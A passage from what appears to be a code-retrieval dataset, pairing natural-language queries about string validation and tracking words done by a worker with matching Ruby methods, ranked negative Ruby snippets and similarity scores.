"0.439451",
"0.439451",
"0.4391516",
"0.43826878",
"0.43823373",
"0.43808362",
"0.4369824",
"0.43576986",
"0.4345506",
"0.4339429",
"0.43394125",
"0.43309656",
"0.43232366",
"0.4317685",
"0.43144011",
"0.43144011",
"0.43144011",
"0.43144011",
"0.43144011",
"0.431435",
"0.43100175",
"0.4309795",
"0.43079433",
"0.4304299",
"0.42973322",
"0.42887554",
"0.42877412",
"0.42822942",
"0.42718816",
"0.42713436",
"0.4263571",
"0.42568618",
"0.42487794",
"0.4247523",
"0.4246857",
"0.42431957",
"0.42430952",
"0.423344",
"0.4230489",
"0.4227224",
"0.4225087",
"0.4223135",
"0.4217495"
] |
0.718916
|
0
|
Check a string to see if it is valid Must be over 0 length and contain only valid characters after removal of whitespace
|
def check_string(str)
str = str.strip
return false if str =~ /<>{}/
return false if str.length == 0
return true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_string(string)\n !string.match(/\\A[-a-zA-Z0-9]*\\z/).nil?\n end",
"def invalid_string(str)\n return true if str.strip! == ''\n return true unless str[0] =~ /[0-9\\+\\-]/\n false\nend",
"def string_is_valid(string)\n # Use lookahead to check for valid string\n string.match \"^(?=.*\\\\D)[#{@characters.join('|')}]+$\"\n end",
"def invalid?(str)\n str.scan(/\\w+|\\./).any? { |word| !(1..20).cover?(word.size) } ||\n str.empty? ||\n str.delete('.').empty?\nend",
"def check_not_blank(data)\n data.to_s.length.should > 0\n data.to_s.delete(\"^a-zA-Z0-9\").length.should > 0\n end",
"def check_a_string_for_special_characters(string)\n string.scan(/\\W+/).length > 0\nend",
"def string_validator(string, parameter)\n \n\tif string.length <= $MIN_LENGTH\n puts \"The #{parameter} requires at least #{$MIN_LENGTH} letters\"\n\t\treturn false\n\telsif string != string.gsub(/[^0-9a-z]/i, '')\n puts \"The #{parameter} can only contain alpha numeric characters \"\\\n\t\t \"(no spaces or special characters)\"\n\t\treturn false\n\telsif string !~ /[A-Z]/\n\t puts \"The #{parameter} requires an uppercase character\"\n\t\treturn false\n elsif string !~ /[a-z]/\n\t puts \"The #{parameter} requires an lowercase character\"\n\t\treturn false\n elsif string !~ /\\d/\n\t puts \"The #{parameter} requires numeric character\"\n\t\treturn false\n end\n\n\treturn true\nend",
"def valid_user_input?(input)\n input.length > 0\n end",
"def validString?(s)\n if s.nil? \n false\n else if s.empty?\n false\n end\n end\n true\nend",
"def validString?(s)\n if s.nil? \n false\n else if s.empty?\n false\n end\n end\n true\nend",
"def valid_phone(str)\n if str.length != 14\n return false\n elsif str[0] != \"(\" || str[4] != \")\" || str[5] != \" \" && str[-5] != \"-\"\n return false\n end\n true\nend",
"def validate_string(arg)\n arg.split(\"\").each do |i|\n if(i != '0' && i !='1')\n puts \"The input argument contain(s) characters other than 0 and 1. Please correct!\"\n return false\n end\n end\n end",
"def test_7_rejects_only_alphnumeric\n result = is_alphanumeric?(\"1Abjilsa2\")\n refute(result, \"1Abjilsa2 has no alphanumeric, should be valid\")\n end",
"def validate_name(name)\n !name.scan(/\\D/).empty?\n end",
"def check_valid_string(s)\n\treturn true if s.empty?\n\tlow = 0\n\thigh = 0\n\tfor i in 0..s.size-1 do\n\t\tif s[i] == '('\n\t\t\tlow = low+1\n\t\t\thigh = high+1\n\t\telsif s[i] == ')'\n\t\t\tif low > 0\n\t\t\t\tlow = low-1\n\t\t\tend\t\n\t\t\thigh = high-1\n\t\telse\n\t\t\tif low > 0\n\t\t\t\tlow = low-1\n\t\t\tend\n\t\t\thigh = high+1\n\t\tend\n\t\tif high < 0\n\t\t\treturn false\n\t\tend\n\tend\n\tlow == 0\nend",
"def validate_word(word)\n\n # Remove the spaces from the ends of the words and chop it into characters\n chars = word.chomp.split('')\n invalid = false\n\n # Check if the word or input is 5 characters, Reject it if its not\n if chars.length != 5\n invalid = true\n end\n\n # See if the character appears in the word more than once, otherwise use regex`s to test for numbers and characters\n # The first regex uses the shorthand \\W which looks for anything that is NOT [0-9a-zA-Z_] as a quick way to wittle\n # out characters such as !@. The second looks for anything that IS a number. the match method is used to check if\n # your character matches any of the regex conditions.\n # It is worth noting these checks will always be run UNLESS invalid has already been flipped to true.\n # If any of these evaluate, flip invalid to true\n chars.each do |char|\n unless invalid\n invalid = true if word.count(char) > 1 || char.match(/\\W/) || char.match(/[0-9]/)\n end\n end\n\n #return wether the word is valid or not the word is valid\n return invalid\n\n end",
"def is_valid(s)\n return false unless s\n\n mapping = {\n ')': 'C',\n '}': '{',\n ']': '['\n }\n\n stack = []\n\n s.each_char do |c|\n if !mapping[c.to_sym]\n stack << c\n elsif mapping[c.to_sym] != stack.pop\n return false\n end\n end\n\n stack.empty? ? true : false\nend",
"def validate_string( str )\r\n if str.kind_of?(String)\r\n return true\r\n else\r\n puts \"#{self.class}:check_string: Error: Input must be a string.\"\r\n return false\r\n end\r\n end",
"def filter_invalid_word(word)\n # Define a string which includes all valid letter\n letters = \"abcdefghijklmnopqrstuvwxyz\"\n # Define return variable and give a default value\n valid = true\n # transfer the word to lowercase and take out off \\r\\n\n word = word.chomp.downcase\n # set return value as false if the length of word not exactly equal 5\n if (word.split(//).size != 5)\n valid = false\n end\n # loop each word\n word.split(//).each do |letter|\n # If the letter occurs more than once in the word, set return value to false\n if (word.count(letter.to_s)) > 1 \n valid = false\n end\n # If the letter does not included in valid letter, set return value to false\n if (letters.include?(letter) == false) \n valid = false\n end\n end\n # return a bool value to method\n return valid\n end",
"def valid?(sentence)\n invalid_chars = sentence.match(/[^A-Za-z. ]/)\n valid_termination = !!(sentence[-1] == \".\")\n !invalid_chars && valid_termination\nend",
"def check2(string)\n\tuntil (string == \"\")\n\t\tlen_old = string.length\n\t\tstring.gsub!(string[0], \"\")\n\t\treturn false \tif (len_old - string.length > 1)\n\tend\n\n\treturn true\nend",
"def valid?(str)\r\n if str =~ /^([^2]*(13|31)|[^4]*(17|71)|[^6]*(39|93)|[^8]*(79|97)|\r\n [^5]*(46|64|28|82|19|91|37|73)).*\\z/x\r\n false\r\n else\r\n true\r\n end\r\n end",
"def check_valid_characters(input)\n unless(input.match? /\\A[a-z A-Z0-9!@#&*()-+=\\/~;:?'-]{1,40}\\z/)\n @io.produce_output \"invalid search, please try another: \"\n @session.route(@io.receive_input.strip)\n end\n end",
"def test_6_accepts_includes_non_alphanumeric\n result = is_alphanumeric?(\"1Abjils&\")\n assert(result, \"1ABjils& has non alphanumeric, should be valid\")\n end",
"def illegal(string)\n string.match(/^((?!ab|cd|pq|xy).)*$/).nil?\nend",
"def first_validate_arg(arg)\n if(arg.length != length)\n puts \"The length of the string is not correct. Your input length is #{arg.length} but the length needs to be #{length}\"\n self.valid = false\n return false\n else\n arg.split(\"\").each do |i|\n if(i != '0' && i !='1')\n puts \"The input argument contain(s) characters other than 0 and 1. Please correct!\"\n self.valid = false\n return false\n end\n end\n end\n return true\n end",
"def alphanumeric?(str)\n return false if str.empty? || (str.length == 1 && str[0] == ' ')\n match = (str.match /^[a-zA-Z\\d]+$/)\n match != nil\nend",
"def is_text_valid?(text)\n return text.length == 10\nend",
"def only_chars?(text)\n text.match(/^\\w[\\w| ]+$/i)\n end",
"def is_valid(s)\n valid_chars = {'(' => ')', '{' => '}', '[' => ']'}\n characters = s.split(\"\")\n characters.each do |char|\n if char != valid_chars[char]\n end \nend\n\np is_valid(\"([])\")",
"def validate_input input\r\n\t\t\t\t\t\t\tif @console\r\n\t\t (input.match(/\\A[[:alpha:][:blank:]]+\\z/) || (check_enter input)) && (input.size < 2)\r\n\t\t else\r\n\t\t input.match(/\\A[[:alpha:][:blank:]]+\\z/) && !(check_enter input)\r\n\t\t end\r\n\t\t end",
"def check_chars(isbn)\r\n\tvalid = true\r\n\tisbn_length = strip_length(isbn)\r\n\t#Set match to false, because a match means invalid ISBN.\r\n\tif isbn_length == 10\r\n\t\t$store_length = 10\r\n\r\n\t\tif isbn[0...-1].match(/[^- 0-9]/)\r\n\t\t\tvalid = false\r\n\t\tend\r\n\r\n\telse isbn_length == 13\r\n\t\t$store_length = 13\r\n\t\t\r\n\t\tif isbn.match(/[^- 0-9]/)\r\n\t\t\tvalid = false\r\n\t\tend\r\n\tend\r\n\tvalid\r\n\t\t\r\nend",
"def is_valid_text(message)\n\treturn message.min >= 32 && message.max <= 122\nend",
"def valid_test(input)\n result = true\n if input.length < 2\n puts \"Your word needs at least two letters. Try again.\"\n result = false\n end\n\n if input !~ /[aeiou]/\n puts \"Your word needs at least one vowel. Try again.\"\n result = false\n end\n\n if input == 0\n puts \"I don't think that was a valid word. Try again.\"\n result = false\n end\n return result\nend",
"def test_removes_spaces\n\t\tassert_equal(true,check_isbn_length(\"123 123 123 4\"))\n\tend",
"def blank_string?(string)\n string =~ /\\A\\s*\\n?\\z/\n end",
"def check_a_string_for_special_characters(string)\n string =~ /\\W/\nend",
"def empty(input)\n string = input.to_s\n if string.length != 0\n return false\n else\n return true\n end\nend",
"def scrub_input(instring)\n unless instring =~ /\\A[a-zA-Z0-9\\.\\-_]*\\z/\n puts \"#{instring} is an invalid attribute\"\n exit 1\n end\nend",
"def validate( x )\n (x.to_s =~ /\\A[1-5]\\Z/) ? true : false\n end",
"def check_a_string_for_special_characters(string)\n true_or_false = false\n # collect all non-special characters\n chars = []\n chars = ('a'..'z').to_a + ('A'..'Z').to_a + (0..9).to_a + (0..9).to_a + [\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n chars << \" \"\n # check each part of string to see if any special characters\n string.split(\"\").each {|character|\n if !chars.include?(character)\n true_or_false = true\n else\n next\n end\n }\n true_or_false\nend",
"def reject_blank_input (initial_user_input)\n# FULL DISCLOSURE: This is recycled, with minor\n# modifications, from the code I wrote for my\n# coding challenge last fall.\n while /^[[:space:]]+[[:alnum:]]{0}\\s*$/ =~ initial_user_input\n puts \"\\n\\t\\tTHAT ENTRY APPEARS TO BE BLANK.\\n\\nPlease try again. \"\n initial_user_input = gets\n end\n return initial_user_input\nend",
"def legal?(string)\n /\\A\\h{24}\\Z/ === string.to_s\n end",
"def check_string(s)\r\n\t\treturn s.length == @m*@n\r\n\tend",
"def valid_string?(string)\n if string.match(/[a-z]/).present? || string.match(/[0-9]/).present?\n @valid = false\n return \"No pongas otro caracter que no sean llaves, corchetes o parentesis\"\n else\n #assume validity\n @valid = true\n #empty array will be populated inside the loop\n @open_characters = []\n #set up a hash to translate the open character to a closing character\n translate_open_closed = {\"{\" => \"}\",\"[\"=>\"]\",\"(\"=>\")\"}\n #create an array from the string loop through each item \n string.split('').each do |e| \n #adding it to the open_characters array if it is an opening character\n @open_characters << e if e=~ /[\\[\\{\\(]/\n #if it is a closing character then translate the last open_character to \n #a closing character and compare them to make sure characters are closed in order\n #the result of this comparison is applied to the valid variable\n @valid &= e == translate_open_closed[@open_characters.pop] if e=~ /[\\]\\}\\)]/\n end\n #return validity and make sure all open characters have been matched\n @valid &= @open_characters.empty?\n return @valid\n end \n end",
"def valid_looking_string?(str)\n str =~ /\\d/\n end",
"def is_valid_name(name)\n return false if name.split.length < 2\n name == format_name(name)\nend",
"def valid_letter?(input)\n input.length == 1 && input.match?(/^[[:alpha:]]+$/)\n end",
"def prad_valid? str\n return false unless str\n !!parse(str)\n end",
"def validate()\n if (sequenz?)\n @string.each_char do |char|\n if(!@alphabet.match(/#{char}+/))\n raise \"String alphabet is not correct\\nChar: #{char}\\nString: #{@string}\" \n end\n end\n end\n end",
"def check_a_string_for_special_characters(string)\n\t# match() is used to check if there is any match as in the regexp. /\\W/ means non word characters.\n\tstring.chars.select {|char| char.match(/\\W/) }.any?\nend",
"def is_valid_name(str)\r\n\twords = str.split(\" \")\r\n \tif words.length < 2\r\n return false\r\n end\r\n \twords.each do |word|\r\n if !capitalized(word)\r\n return false\r\n end\r\n end\r\n return true\r\nend",
"def clean_string(s)\n s.lstrip! if s\n s.rstrip! if s\n s\n end",
"def validate_username(username)\n return false unless username != nil\n if username.length > 19\n return false\n end\n stripped = username.gsub(/[ \\&\\=\\+\\-\\?]/,'')\n return username == stripped\n end",
"def check_valid_string(s)\n loop do\n s.gsub!(/\\(\\)|\\(\\*\\)/,'')\n break if s.scan(/\\(\\)|\\(\\*\\)/).empty?\n end\n return false if s.count('(') > s.count(')') + s.count('*')\n return false if s.count(')') > s.count('(') + s.count('*')\n true\nend",
"def valid?(string)\n r = Regexp.new(@matcher)\n \n !(string =~ r).nil?\n end",
"def validate()\n # rung base method to check\n # for alphabet\n super\n # check for sequenz\n # an validate sequenz length\n if (sequenz?)\n # hier check sequenz length \n if(@lenth != @string.length)\n raise \"String length is not correct\\nRequired lenght: #{@lenth}\\nCurrent length: #{@string.length}\\nString:#{@string}\" \n end\n end\n end",
"def valid_string?(string)\n if string.class == String\n string\n else\n false\n end\nend",
"def verify_only_whitespace_is_present(xn)\n verify_text_matches_regex(xn, /\\A[ \\n]*\\z/, 'contained non-whitespace')\n end",
"def name_valid_format\n if name.present? and not name.match(/[\\w]+([\\s]+[\\w]+){1}+/)\n errors.add :name , \"must be seperated by space and should not contain any special characters.\"\n end\n end",
"def alnum?(str)\n str =~ /[[:alnum:]]/\nend",
"def clean_string(string)\n return string.downcase.gsub(/[^a-z0-9]/, '')\nend",
"def valid?\n @chars.all? { |c| c.ord >= A && c.ord <= Z }\n end",
"def alnum?(str)\n\t\t\tstr.match /^[[:alnum:]]$/\n\t\tend",
"def check_characters\n attributes.each do |key, val|\n next unless val.present? && val.is_a?(String)\n\n invalid_chars = val.gsub(Regexp.new(Constants::CHAR_WHITELIST), '')\n next if invalid_chars.empty?\n\n uniq_invalid_chars = invalid_chars.split('').uniq.join\n error_msgs = []\n error_msgs << SPACES_NOT_ALLOWED if uniq_invalid_chars.match(/ /)\n uniq_invalid_chars.delete!(' ')\n if uniq_invalid_chars.present?\n error_msgs << \"#{CHARS_NOT_ALLOWED} #{uniq_invalid_chars}\"\n end\n error_msgs.each { |msg| errors.add(key, msg) }\n end\n end",
"def is_input_valid?(input)\n if input.length == 1\n (input.ord >= 97 && input.ord <=122) ? true : false\n end\n end",
"def validate(string)\n error = \"Invalid: arg must be hexadecimal string (68 bytes)\"\n raise ArgumentError.new(error) unless string =~ /([a-f0-9]{2}){68}/\n string\n end",
"def clean_string s\n s.gsub(/\\s/, \"\")\n end",
"def valid_format?\r\n sanitized_str =~ /^\\d{12}$/\r\n end",
"def check_input(input)\n if /\\D/.match(input)\n false\n else\n true \n end\nend",
"def legal_word?(word)\n word.length >= 5 && word.length <= 12\n end",
"def safe_string?(param)\n return true unless param\n (param =~ %r{^[A-Za-z0-9._-]+$}) != nil\nend",
"def test_rejects_passwords_without_non_alphanumerics\n result = valid_password?(\"1Abjilsa\")\n refute(result, \"'1Abjils&a' should be invalid because it has no non-alphanumeric characters\")\n end",
"def check_string( str )\r\n result = false\r\n return result unless validate_string(str)\r\n\r\n if str.include?( self.pattern )\r\n result = true\r\n end\r\n return result\r\n end",
"def validate_username_length(username)\r\n if(username.length == 0)\r\n return false\r\n elsif (username.length < 6)\r\n return false\r\n elsif (username.length > 12)\r\n return false\r\n else\r\n return true\r\n end\r\nend",
"def valid_pattern(s)\n s.length > 3\nend",
"def is_valid_name(str)\n return str.include?(\" \") && format_name(str) == str\nend",
"def single_word?(string)\n !string.strip.include? \" \"\n end",
"def name_valid?(name)\n name.nil? || /^[A-Za-z]{2,}$/.match?(name)\n end",
"def valid(n)\n ns = n.to_s\n begin\n return ns[0..0] + ns[2..2] + ns[4..4] + ns[6..6] + ns[8..8] + ns[10..10] + ns[12..12] + ns[14..14] + ns[16..16] + ns[18..18] == \"1234567890\"\n rescue\n return false\n end\nend",
"def validate!\n valid? || raise(LimitExceeded.new(@string))\n end",
"def safe?\n return true if match?(/^[a-z0-9]$/)\n\n match?(/^[a-z0-9][\\w-]*[a-z0-9]$/) && squeeze('_') == self\n end",
"def is_valid_name(str)\n parts = str.split(\" \")\n isTrue = true\n parts.each do |part|\n if part[0] == part[0].downcase\n isTrue = false\n end\n part[1..-1].each_char do |chr|\n if chr == chr.upcase\n isTrue = false\n end\n end\n end \n return isTrue && parts.length > 1\nend",
"def has_bad?(str)\n # rubocop:enable Naming/PredicateName\n str[0...3].eql?('bad') || str[1...4].eql?('bad')\n end",
"def sanitize(str)\n return \"\" if !str\n return Sanitize.clean(str)\n end",
"def sanitize_input(str)\n str.chomp.strip \n # remueve al final del string los \\n,\\t,\\r(chomp) \n #y remueve los espacios en blanco (strip)\n end",
"def clean_string(input)\r\n unless input.nil?\r\n input = input.to_s.gsub(/^[\\s]+|[\\s]+$/, \"\")\r\n end\r\n return input\r\n end",
"def can_show? str\n \treturn not(str.nil? || str === \"\")\n end",
"def clean_up_substring(any_char_string)\n clean_string = ''\n any_char_string.chars.each do |char|\n if char =~ /[a-zA-Z\\d]/\n clean_string << char\n end\n end\n clean_string\nend",
"def is_valid_name(str)\n str_arr = str.split\n check = []\n str_arr.each do |ele|\n formatted = ele[0].upcase + ele[1..-1].downcase\n check << formatted\n end\n if check.length < 2 || check.join(\" \") != str\n return false\n else\n return true\n end\nend",
"def is_valid_name(str)\n\tnames = str.split(\" \")\n \tif names.length < 2\n return false\n end\n \n \tnames.each do | name |\n if(name[0] != name[0].upcase || name[1..-1] != name[1..-1].downcase)\n return false\n end\n end\n return true\nend",
"def validate_pin(pin)\n if (pin.length == 4 || pin.length == 6) && pin.delete(\"0-9\") == \"\"\n true\n else\n false\n end\nend",
"def ensure_valid_encoding(string)\n sanitized = string.each_char.select { |c| c.bytes.count < 4 }.join\n if sanitized.length < string.length\n if removed = string.each_char.select { |c| c.bytes.count >= 4 }.join\n Rails.logger.debug(\"removed invalid encoded elements: #{removed}\")\n end\n end\n sanitized\n end",
"def validate token\r\n token =~ /[A-Za-z0-9]/\r\n end",
"def valid_string?(field, param)\n true\n end",
"def blank?\n self !~ /[^[:space:]]/\n end",
"def check_a_string_for_special_characters(string)\n string.include?('@') ||\n string.include?('!') ||\n string.include?('£') ||\n string.include?('$') ||\n string.include?('%')\nend",
"def is_validated\n\tif $user_name.size <= 1 #string have \\n \n\t\tre_enter_name\n\telse\n\t\treturn true;\t\n\tend\t\nend",
"def clean?(string)\n !all.any? { |s| string.downcase.include? s }\n end",
"def is_valid_name(str)\n parts = str.split(\" \")\n if parts.length < 2\n return false\n end\n\n parts.each do |part|\n if !(part[0] == part[0].upcase && part[1..-1] == part[1..-1].downcase)\n return false\n end\n end\n\n return true\nend"
] |
[
"0.7883211",
"0.74574834",
"0.74038696",
"0.73164564",
"0.7041315",
"0.7039504",
"0.69279915",
"0.68790334",
"0.6846679",
"0.6846679",
"0.6809391",
"0.68088126",
"0.6690075",
"0.66593516",
"0.6612105",
"0.6582761",
"0.65704376",
"0.6549937",
"0.6542519",
"0.65382016",
"0.6536764",
"0.65179163",
"0.6511619",
"0.65041846",
"0.6491044",
"0.6481134",
"0.64808327",
"0.6448946",
"0.6447811",
"0.6442105",
"0.64059234",
"0.64045936",
"0.64025927",
"0.6369208",
"0.6364775",
"0.63503355",
"0.63389117",
"0.63358635",
"0.6327353",
"0.6324457",
"0.6316673",
"0.63004625",
"0.62948895",
"0.6287703",
"0.6273823",
"0.62714076",
"0.62654257",
"0.62623507",
"0.6247276",
"0.6246734",
"0.62466633",
"0.62312746",
"0.6229999",
"0.62218064",
"0.62141776",
"0.6198336",
"0.6193284",
"0.61859256",
"0.61843354",
"0.6182568",
"0.6170191",
"0.6169575",
"0.6166579",
"0.6157231",
"0.6150655",
"0.61477035",
"0.6139545",
"0.61360973",
"0.61258054",
"0.61150837",
"0.6110105",
"0.6107684",
"0.6095467",
"0.609022",
"0.6089807",
"0.60838354",
"0.6080374",
"0.6079623",
"0.60765344",
"0.60706574",
"0.6068148",
"0.60617524",
"0.60571456",
"0.6054569",
"0.60543144",
"0.6049876",
"0.60439837",
"0.6042974",
"0.6037462",
"0.60286325",
"0.6023783",
"0.6021857",
"0.6000585",
"0.599274",
"0.5989146",
"0.59883636",
"0.5983641",
"0.59831065",
"0.59589994",
"0.59346676"
] |
0.7370419
|
3
|
Check if a worker has done a word before
|
def set_worker_word(worker, word)
# puts "######### #{worker} ######## #{word}"
# Load hash of who has done what
worker_words = YAML::Store.new(AMT_WORKER_WORD_LIST)
worker_words.transaction do
# Set to array if she be not exist and add the word to the list
worker_words[worker] = [] unless worker_words[worker]
worker_words[worker] << word if(!worker_words[worker].include?(word))
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_worker_id(args)\n \n # Load params\n worker = args['worker'].to_s.strip\n word = args['word'].to_s.strip.downcase\n\n # Load hash of who has done what\n worker_words = YAML::Store.new(AMT_WORKER_WORD_LIST)\n previous_work = worker_words.transaction do (worker_words[worker] && worker_words[worker].include?(word)) end\n\n return compose_template('previous_work', binding) if previous_work\n return compose_template('no_previous_work', binding)\n end",
"def winner?\n @progress == @word\n end",
"def running_phrase_check(phrase)\n # Check if this phrase has been found before\n if @phrases[phrase.word_count][phrase] > 0\n @running_phrases << phrase\n else # Not found, so we are at the end of any longer phrase (if one exists)\n if @running_phrases.count > 1\n # Found more than one matching phrase in a row\n record_longer_phrase\n end\n @running_phrases.clear\n end\n end",
"def is_word_complete()\n !@current_state.include? \"_\"\n end",
"def process_words(words, dictionary)\n puts \"Starting thread #{Thread.current.object_id}\\n\"\n\n found = 0\n words.each do |word|\n if dictionary.include? word\n found += 1\n end\n end\n\n puts \"Done with thread #{Thread.current.object_id}\\n\"\n Thread.current[:found] = found\nend",
"def mark_done(str)\n todo = self.find_by_title(str)\n todo.done! if todo\n # find_by_title(str) && find_by_title(str).done! # alt from solution\n end",
"def check_player_words(player_guess_word)\n word.chomp.chars.each_with_index{\n |item, index|\n if item == player_guess_word.chomp.chars[index].to_s # exactly equal and in the same postion\n result = \"Exact\"\n elsif word.chomp.include?(player_guess_word.chars[index].to_s) # just includes the letter\n result = \"Near\"\n else # other condition that either not exact nor includes is.\n result = \"Miss\"\n end\n sleep(SLEEP_TIME) # just stop for a time make a good user experience\n puts \"Letter: #{player_guess_word.chars[index]} : #{result}\"\n }\n end",
"def mark_worker_was_here\n @adventure.events.create(action: 'worker_ran')\n end",
"def has_work?\n how_much_more_work > 0\n end",
"def already_played?(word)\n if (self.playedWords == nil)\n return word == self.firstWord\n end\n\n for pw in self.playedWords\n if pw.word == word\n return true\n end\n end\n return word == self.firstWord\n end",
"def perform?\n !song.synced?\n end",
"def check_for_victory(word, new_progress_message)\n if word == @new_progress_message\n @victory = true\n true\n end\nend",
"def work?(line)\n line =~ RE_WORK_LINE\n end",
"def check_completion(worker)\n return unless record_count && (input.count == 0)\n # Run after_perform, only if it has not already been run by another worker\n # and prevent other workers from also completing it\n if result = collection.update({ '_id' => id, 'state' => :running, 'sub_state' => :processing }, { '$set' => { 'sub_state' => :after }})\n if (result['nModified'] || result['n']).to_i > 0\n # Also update the in-memory value\n self.sub_state = :after\n # after_perform\n worker.rocket_job_call(perform_method, arguments, event: :after, log_level: log_level)\n complete!\n end\n else\n reload\n cleanup! if aborted?\n end\n end",
"def run\n searching if @nr_of_words >= @phrase_length\n end",
"def completed?\n !self.shift_jobs.empty?\n end",
"def is_work_name_previously_collected_and_valid?(question)\n answer_for(question, valid_response_exists?(\"PREG_VISIT_1_3.WORK_NAME\", :last))\n end",
"def work_pending?\n !buffer.empty?\n end",
"def player_won?\n unless @display_content.include?(\"_\")\n puts \"You found the correct word!\"\n true\n end\n end",
"def has_run?\n @passed != nil\n end",
"def needs_a_worker?\n\t\treturn true if self.workers.empty?\n\t\tqueue = self.get_message_counting_queue or return false\n\n\t\t# Calculate the number of workers across the whole broker\n\t\tif ( cc = queue.consumer_count ) >= self.max_workers\n\t\t\tself.log.debug \"%p: Already at max workers (%d)\" % [ self.task_class, self.max_workers ]\n\t\t\treturn false\n\t\telse\n\t\t\tself.log.debug \"%p: Not yet at max workers (have %d)\" % [ self.task_class, cc ]\n\t\tend\n\n\t\tself.log.debug \"Mean jobcount is %0.2f\" % [ self.mean_jobcount ]\n\t\treturn self.mean_jobcount > 1 && !self.sample_values_decreasing?\n\tend",
"def completed_text_extraction\n @found_completed_text_extraction = true\n end",
"def started?\n @worker.started?\n end",
"def check_word(word)\n if self.player.word_list.include?(word)\n puts \"Already found that one!\"\n elsif word.length < 4\n puts \"That word is too short. Words must be 4 letters or longer.\"\n elsif word.chars.include?(self.board.inner_letter) == false\n puts \"Missing center letter.\"\n elsif self.board.word_list.include?(word)\n #get points total for word\n points = self.board.get_word_value(word)\n self.player.add_points(points)\n #adds word to wordlist\n self.player.add_word(word)\n if self.board.pangram?(word)\n puts \"🐝 PANGRAM FOUND 🐝\"\n puts \"The bees are pleased. #{points} added to your score.\"\n else\n puts \"#{self.nice_messages.sample} #{points} point#{\"s\" if points > 1} added to your score.\"\n end\n self.player.display_total\n else\n puts \"Not in word list :(\"\n end\n end",
"def submit_word(word)\n letters_present_for(word) && @dictionary.include?(word)\n end",
"def done?\n beam.empty?\n end",
"def hear(words)\n words = sanitize(words)\n previous_word = nil\n\n words.scan(/[\\w\\':+#]+/) do |current_word|\n # Skip the word if it's in the blacklist\n next if WORD_BLACKLIST.include?(current_word)\n\n # Increment the number of times the current word has been the successor of\n # the previous word.\n @words_table.increment(previous_word, current_word)\n\n previous_word = current_word\n end\n\n # Record what the last word was.\n @words_table.increment(previous_word) if previous_word\n\n true\n end",
"def not_finished?\n more_results == :NOT_FINISHED\n end",
"def running?; started? && !finished? end",
"def include?(word)\n if !@head.nil?\n each do |data|\n if data.to_s.downcase == word.downcase\n return true\n end\n end\n end\n false\n end",
"def word_present?(word)\n @words.include?(word.downcase)\n end",
"def word_present?(word)\n @words.include?(word.downcase)\n end",
"def check_word(guess)\n\t\tguess_used = false\n\t\t@guess_history.each do |x|\n\t\t\t\tif x == guess\n\t\t\t\t\tguess_used = true\n\t\t\t\tend\n\t\t\tend\n\t\tif !guess_used\n\t\t\t@guess_count += 1\n\t\t\t@guess_history << guess\n\t\tend\n\t\tif guess == @target_word\n\t\t\t@win = true\n\t\t\t@is_over = true\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def step_completed?\n !object.waiting_on.include?(scope)\n end",
"def _dont_thread?(wi)\n Ruote.participant_send(\n self,\n [ :dont_thread?, :do_not_thread?, :do_not_thread ],\n 'workitem' => wi)\n end",
"def trigger_condition_met?(_job)\n true\n end",
"def phrase_has_definitely_been_checked?(phrase, existing_article_titles)\n phrase_string = phrase.to_s\n #return false #This causes unit tests to fail\n #return existing_article_titles.any?{|existing_article_title| existing_article_title.chars.downcase.to_s.include?(phrase_string.chars.downcase)} #Unicode safe, too slow? :(\n return existing_article_titles.any?{|existing_article_title| existing_article_title.downcase.include?(phrase_string.downcase)} #Not unicode safe?\n end",
"def is_word(word)\n if @trie.has_key?(word) == true && word.length > 2 && @words.include?(word) == false\n return true\n else\n return false\n end\nend",
"def word\n @expected.empty? ? finish_response : continue_response\n end",
"def include?(word)\n find_word(word) { |found, current| return found && current.is_word }\n end",
"def presence_of_letter(user_guess)\n\t\tif @game_word.include? user_guess \n\t\t\tputs \"Nice! Your letter appears #{@presence_counter} times. Here is an update on your progress: \"\n\t\t\tp @current_state.join\n\t\t\t# return @current_state.join\n\t\telse\n\t\t\tputs \"Too bad! \\\"#{user_guess}\\\" is not in the mystery word! Here is your progress so far: \"\n\t\t\tp @current_state.join\n\t\t\t# return \"Too bad!\"\n\t\tend\n\n\t\tif @current_state.include?(\" _ \" )\n\t\t\tputs \"You have #{@total_guesses} guesses remaining.\"\n\t\tend\n\tend",
"def word_present?(word)\n @spellchecker.spellcheck(word)\n end",
"def should_stop?\n time_is_up? ? more_work? : false\n end",
"def query(letter)\n @string.push(letter)\n pointer = @trie\n @string.reverse_each do |char|\n if ! pointer[char]\n # Can not move the pointer to the new char.\n return false\n end\n pointer = pointer[char]\n # This is an end of a work.\n return true if pointer[:end]\n end\n # Did not find a word.\n return false\n end",
"def done?\n done == 'Y'\n end",
"def invalid_word? word\n\t\tstopwords_list.collect{ |w| w if w.include? word.to_s.strip }.uniq.any?\n\tend",
"def include?(word)\n # won't find words that have q but not u\n return false if word.upcase.match(/Q$|Q[^U]/)\n # won't find a word longer than 16\n return false if word.length > 16\n # normalize the word for searching\n searchy_word = word.upcase.sub(/QU/,\"Q\")\n if preindexed?\n # if we bothered to create a trie, we'd better use it\n search_trie(searchy_word)\n else\n # try a recursive search starting from each position\n @board.flatten.each_with_index.any? do |_, index|\n #convert flat index to x,y coords\n pos = index.divmod(4)\n search_board(searchy_word, @board, pos)\n end\n end\n end",
"def search_prev_word(word)\n @info.focus\n highlight_word word\n cursor = @info.index('insert')\n pos = @info.rsearch_with_length(Regexp.new(Regexp::quote(word), Regexp::IGNORECASE), cursor)[0]\n if pos.empty?\n @app.status = 'Cannot find \"%s\"' % word\n else\n set_cursor(pos)\n if @info.compare(cursor, '<=', pos)\n @app.status = 'Continuing search at bottom'\n else\n @app.status = ''\n end\n end\n end",
"def complete?\r\n # Both worker and instuction should not be nil and instruction should be complete\r\n !self.worker.blank? && !self.instruction.blank? && self.instruction.try(:complete?)\r\n end",
"def run?\n seconds_left == 0\n end",
"def done?\n return false if status.nil?\n \"done\".casecmp(status).zero?\n end",
"def run_on_busy_tb?\n $game_message.busy?\n end",
"def complete?\n if threaded?\n !running?\n else\n true\n end\n end",
"def working?\n @available_workers.length < @workers.length\n end",
"def more_work?\n get_queue_message_count(:job_requests) > 0\n end",
"def is_text_run? # rubocop:disable Naming/PredicateName\n defined?(@is_text_run) && @is_text_run && !contains_rich_text?\n end",
"def done?\n get_ingest_run.done?\n end",
